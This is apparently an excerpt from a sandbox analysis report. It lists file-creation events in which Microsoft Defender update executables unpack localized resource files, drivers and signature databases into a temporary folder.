        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\hu-HU\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sr-Cyrl-BA\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-TW\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-CN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdFilter.sysJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ja-JP\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pt-BR\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\az-Latn-AZ\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fi-FI\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pt-BR\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sv-SE\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ca-ES-valencia\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-GB\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\vi-VN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDlpCmd.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\ProtectionManagement.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-CN\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fr-FR\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pt-PT\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ja-JP\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\MpEvMsg.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sq-AL\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpOAV.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpasbase.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCopyAccelerator.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\id-ID\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\am-ET\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sk-SK\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\et-EE\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\is-IS\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\gl-ES\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\hr-HR\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ko-KR\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\DefenderCSP.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\tr-TR\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCommu.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\lv-LV\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDetoursCopyAccelerator.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavbase.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavdlta.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fr-CA\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpDetoursCopyAccelerator.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fr-CA\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\MpEvMsg.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdDevFlt.sysJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpClient.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\ProtectionManagement.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\NisSrv.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ka-GE\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ru-RU\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fr-FR\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\lt-LT\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pl-PL\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pt-PT\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MsMpLics.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\da-DK\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ko-KR\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pt-BR\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\te-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\da-DK\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sk-SK\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ms-MY\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\mi-NZ\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\el-GR\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ro-RO\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\gu-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ca-ES\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\th-TH\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sl-SI\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sr-Latn-RS\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ru-RU\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\uk-UA\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\mt-MT\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fr-FR\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\he-IL\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpasdlta.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpDetours.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\or-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ga-IE\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pt-BR\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpCopyAccelerator.exe
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\km-KH\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\eu-ES\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\da-DK\MpEvMsg.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ja-JP\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\hu-HU\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\it-IT\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ug-CN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpAzSubmit.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bg-BG\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pt-PT\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sv-SE\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-MX\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\kn-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\ProtectionManagement.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\nl-NL\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ur-PK\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\it-IT\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\uk-UA\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ml-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pa-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ru-RU\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ko-KR\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpOAV.dll
